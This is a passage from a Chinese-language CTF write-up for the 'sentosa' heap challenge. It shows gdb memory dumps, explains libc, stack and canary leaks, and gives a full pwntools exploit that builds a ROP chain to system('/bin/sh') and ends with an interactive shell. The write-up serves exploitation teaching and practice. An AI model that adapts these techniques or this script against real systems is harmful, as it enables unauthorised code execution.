0x5555557560c0:	0x0000000000000006	0x0000000000000000  <-- proj_num
gdb-peda$ x/50gx 0x555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 1
0x555555757010:	0x0000015500000000	0x0000010000000100
0x555555757020:	0x0000000000000100	0x0000000000000021
0x555555757030:	0x0000010000000000	0x0000010000000100
0x555555757040:	0x0000000000000100	0x0000000000000021
0x555555757050:	0x0000010000000000	0x0000010000000100
0x555555757060:	0x0000000000000100	0x0000000000000031  <-- chunk 0
0x555555757070:	0x000000410000000f	0x0000000000000000
0x555555757080:	0x0000000100000000	0x00000000000000d1  <-- fake chunk (chunk 4)
0x555555757090:	0x0000000000000064	0x0000000000000071  <-- chunk 2
0x5555557570a0:	0x0000000100000050	0x0000000000000000
0x5555557570b0:	0x0000000000000000	0x0000000000000000
0x5555557570c0:	0x0000000000000000	0x0000000000000000
0x5555557570d0:	0x0000000000000000	0x0000000000000000
0x5555557570e0:	0x0000000000000000	0x0000000000000000
0x5555557570f0:	0x0000010000000000	0x0000010000000100
0x555555757100:	0x0000000000000100	0x0000000000000071  <-- chunk 3
0x555555757110:	0x4141414100000050	0x4141414141414141
0x555555757120:	0x4141414141414141	0x4141414141414141
0x555555757130:	0x4141414141414141	0x4141414141414141
0x555555757140:	0x4141414141414141	0x4141414141414141
0x555555757150:	0x4141414141414141	0x0000000000000021  <-- fake chunk (0xd0+0x80=0x150)
0x555555757160:	0x0000010000000000	0x0000010000000100
0x555555757170:	0x0000000000000100	0x0000000000020e91  <-- top chunk
0x555555757180:	0x0000000000000000	0x0000000000000000
```

释放掉 chunk 4，此时它将被放进 unsorted bin，其 fd, bk 指针指向 libc：

```text
gdb-peda$ x/50gx 0x555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021
0x555555757010:	0x0000015500000000	0x0000010000000100
0x555555757020:	0x0000000000000100	0x0000000000000021
0x555555757030:	0x0000010000000000	0x0000010000000100
0x555555757040:	0x0000000000000100	0x0000000000000021
0x555555757050:	0x0000010000000000	0x0000010000000100
0x555555757060:	0x0000000000000100	0x0000000000000031
0x555555757070:	0x000000410000000f	0x0000000000000000
0x555555757080:	0x0000000100000000	0x00000000000000d1
0x555555757090:	0x00007ffff7dd1b78	0x00007ffff7dd1b78  <-- fd, bk pointer
0x5555557570a0:	0x0000000100000050	0x0000000000000000
0x5555557570b0:	0x0000000000000000	0x0000000000000000
0x5555557570c0:	0x0000000000000000	0x0000000000000000
0x5555557570d0:	0x0000000000000000	0x0000000000000000
0x5555557570e0:	0x0000000000000000	0x0000000000000000
0x5555557570f0:	0x0000010000000000	0x0000010000000100
0x555555757100:	0x0000000000000100	0x0000000000000071
0x555555757110:	0x4141414100000050	0x4141414141414141
0x555555757120:	0x4141414141414141	0x4141414141414141
0x555555757130:	0x4141414141414141	0x4141414141414141
0x555555757140:	0x4141414141414141	0x4141414141414141
0x555555757150:	0x00000000000000d0	0x0000000000000020
0x555555757160:	0x0000010000000000	0x0000010000000100
0x555555757170:	0x0000000000000100	0x0000000000020e91
0x555555757180:	0x0000000000000000	0x0000000000000000
```

将它打印出来即可得到 libc 的基址。

### leak stack and canary

```python
def leak_stack_canary():
    global canary

    environ_addr = libc.symbols['__environ'] + libc_base
    log.info("__environ address: 0x%x" % environ_addr)

    start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1)   # 4

    view_proj()
    for i in range(5):
        io.recvuntil("Price: ")
    leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
    io.recvuntil("Area: ")
    leak_high = int(io.recvline()[:-1], 10) & 0xffff
    stack_addr = leak_low + (leak_high<<32)
    canary_addr = stack_addr - 0x130

    log.info("stack address: 0x%x" % stack_addr)
    log.info("canary address: 0x%x" % canary_addr)

    start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1)     # 6

    view_proj()
    for i in range(7):
        io.recvuntil("Project: ")
    canary = (u64(io.recvline()[:-1] + "\x00"))<<8

    log.info("canary: 0x%x" % canary)
```

通过 libc 地址计算出 `__environ` 的地址，构造 project 并打印出来得到其指向的 stack 地址。然后通过偏移计算得到 canary 地址，同样的方法构造 project，得到 canary。

### pwn

```python
def pwn():
    pop_rdi_ret = libc_base + 0x21102
    bin_sh = libc_base + next(libc.search('/bin/sh\x00'))
    system_addr = libc_base + libc.symbols['system']

    payload  = "A" * 0x68
    payload += p64(canary)      # canary
    payload += "A" * 0x28
    payload += p64(pop_rdi_ret) # return address
    payload += p64(bin_sh)
    payload += p64(system_addr) # system("/bin/sh")

    start_proj(0, payload, 1, 1, 1)

    io.interactive()
```

最后我们就可以构造 ROP 得到 shell 了。

```text
gdb-peda$ x/24gx $rsp
0x7fffffffec70:	0x00007ffff7dd3780	0x00000000f7b046e0
0x7fffffffec80:	0x4141414141414141	0x4141414141414141
0x7fffffffec90:	0x4141414141414141	0x4141414141414141
0x7fffffffeca0:	0x4141414141414141	0x4141414141414141
0x7fffffffecb0:	0x4141414141414141	0x4141414141414141
0x7fffffffecc0:	0x4141414141414141	0x4141414141414141
0x7fffffffecd0:	0x4141414141414141	0x4141414141414141
0x7fffffffece0:	0x4141414141414141	0xa078057095c7cf00  <-- canary
0x7fffffffecf0:	0x4141414141414141	0x4141414141414141
0x7fffffffed00:	0x4141414141414141	0x4141414141414141
0x7fffffffed10:	0x4141414141414141	0x00007ffff7a2f102  <-- pop rdi; ret
0x7fffffffed20:	0x00007ffff7b9a177	0x00007ffff7a53390  <-- "/bin/sh"   <-- system
```

开启 ASLR。Bingo!!!

```text
$ python exp.py
[+] Starting local process './sentosa': pid 11161
[*] heap base: 0x556cac880000
[*] libc base: 0x7fd37c2a7000
[*] __environ address: 0x7fd37c66cf38
[*] stack address: 0x7ffcdd2ae7c8
[*] canary address: 0x7ffcdd2ae698
[*] canary: 0x307ea32507776d00
[*] Switching to interactive mode
Your project is No.7
$ whoami
firmy
```

### exploit

完整的 exp 如下：

```python
#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

io = process(['./sentosa'], env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF('libc-2.23.so')

def start_proj(length, name, price, area, capacity):
    io.sendlineafter("Exit\n", '1')
    io.sendlineafter("name: ", str(length))
    io.sendlineafter("name: ", name)
    io.sendlineafter("price: ", str(price))
    io.sendlineafter("area: ", str(area))
    io.sendlineafter("capacity: ", str(capacity))

def view_proj():
    io.sendlineafter("Exit\n", '2')

def cancel_proj(idx):
    io.sendlineafter("Exit\n", '4')
    io.sendlineafter("number: ", str(idx))

def leak_heap():
    global heap_base

    start_proj(0, 'A', 1, 1, 1)         # 0
    start_proj(0, 'A'*0x5a, 1, 1, 1)    # 1
    start_proj(0, 'A', 1, 1, 1)         # 2
    cancel_proj(2)
    cancel_proj(0)

    view_proj()
    io.recvuntil("Capacity: ")
    leak = int(io.recvline()[:-1], 10) & 0xffffffff
    heap_base = (0x55<<40) + (leak<<8)      # 0x55 or 0x56

    log.info("heap base: 0x%x" % heap_base)

def leak_libc():
    global libc_base

    start_proj(0xf, 'A', 0xd1, 0, 0x64)                     # 0
    start_proj(0x50, '\x01', 1, 1, 1)                       # 2
    start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1)              # 3
    start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1)  # 4
    start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1)  # 5
    cancel_proj(4)

    view_proj()
    for i in range(5):
        io.recvuntil("Area: ")
    leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
    io.recvuntil("Capacity: ")
    leak_high = int(io.recvline()[:-1], 10) & 0xffff
    libc_base = leak_low + (leak_high<<32) - 0x3c3b78

    log.info("libc base: 0x%x" % libc_base)

def leak_stack_canary():
    global canary

    environ_addr = libc.symbols['__environ'] + libc_base
    log.info("__environ address: 0x%x" % environ_addr)

    start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1)   # 4

    view_proj()
    for i in range(5):
        io.recvuntil("Price: ")
    leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
    io.recvuntil("Area: ")
    leak_high = int(io.recvline()[:-1], 10) & 0xffff
    stack_addr = leak_low + (leak_high<<32)
    canary_addr = stack_addr - 0x130

    log.info("stack address: 0x%x" % stack_addr)
    log.info("canary address: 0x%x" % canary_addr)

    start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1)     # 6

    view_proj()
    for i in range(7):
        io.recvuntil("Project: ")
    canary = (u64(io.recvline()[:-1] + "\x00"))<<8

    log.info("canary: 0x%x" % canary)

def pwn():
    pop_rdi_ret = libc_base + 0x21102
    bin_sh = libc_base + next(libc.search('/bin/sh\x00'))
    system_addr = libc_base + libc.symbols['system']

    payload  = "A" * 0x68
    payload += p64(canary)      # canary
    payload += "A" * 0x28
    payload += p64(pop_rdi_ret) # return address
    payload += p64(bin_sh)
    payload += p64(system_addr) # system("/bin/sh")

    start_proj(0, payload, 1, 1, 1)

    io.interactive()

if __name__ == "__main__":
    leak_heap()
    leak_libc()
    leak_stack_canary()
    pwn()
```

## 参考资料

- <https://ctftime.org/task/4460>